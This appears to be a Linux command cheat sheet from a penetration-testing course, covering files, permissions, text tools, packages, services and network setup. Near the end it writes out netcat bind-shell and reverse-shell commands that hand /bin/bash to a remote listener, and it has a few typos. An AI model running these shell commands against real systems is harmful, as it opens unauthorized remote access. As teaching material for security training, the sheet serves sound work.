ls
ls -l
ls -a
cd
cd ..
cd /
cd ~/Desktop
man ls
ls --help
adduser georgia
adduser georgia sudo
su geogia
adduser john
sudo adduser john
exit
touch myfile
mkdir mydirectory
ls
cd mydirectory
cp /root/myfile myfile2
ls
mv myfile2 myfile3
ls
rm myfile3
echo hello georgia
echo hello georgia > myfile
cat myfile
echo hello georgia again > myfile
cat myfile
echo hello georgia a third time >> myfile
cat myfile
ls -l myfile
-rw-r--r-- 1 root root 6 Aug 25 18:42 myfile
Lrwxrwxrwx
u g o
chmod 777 myfile
ls -l myfile
-rwxrwxrwx 1 root root 6 Aug 25 18:42 myfile
nano testfile
^W Search
vi testfile
:wq
1 Derbycon September
2 Shmoocon January
3 Brucon September
4 Blackhat July
5 Bsides *
6 HackerHalted October
7 Hackcon April
grep September myfile
grep September myfile | cut -d " " -f 2
sed 's/Blackhat/Defcon/' myfile
awk '$1 >5' myfile
awk '{print $1,$3;}' myfile
apt-get update
apt-get install armitage
This will upgrade all installed packages
to the latest version:
apt-get upgrade
Repositories are in:
/etc/apt/sources.list
top
ps aux
To control services:
service apache2 start
service mysql stop
service networking restart
ifconfig
ip addr show
route
ifconfig eth0 down
ifconfig eth0 up
ifconfig eth0 up promisc
To renew DHCP address:
dhclient -v
dhclient eth0
To set a static IP address temporarily:
ifconfig eth0 192.168.1.100/24
To remove all addresses:
ip addr flush dev eth0
To set a static IP address persistently:
nano /etc/network/interfaces
auto eth0
face eth0 inet static
address 192.168.20.9 netmask 255.255.255.0
gateway 192.168.20.1
Viewing Network Connections
netstat -antp
nc 147.144.1.2 22
Listen on a port:
nc -lvp 1234
Open a Command Shell Listener
(aka Bind Shell):
nc -lvp 1234 -e /bin/bash
Pushing a Command Shell Back to Listener
(aka Reverse Shell):
First start a listener:
nc -lvp 1234
Push a shell to the listener:
nc 192.168.1.100 1234 -e /bin/bash
See
10 Useful IP Commands to Configure Network Interfaces
ls /etc | grep cron
crontab -l
crontab -e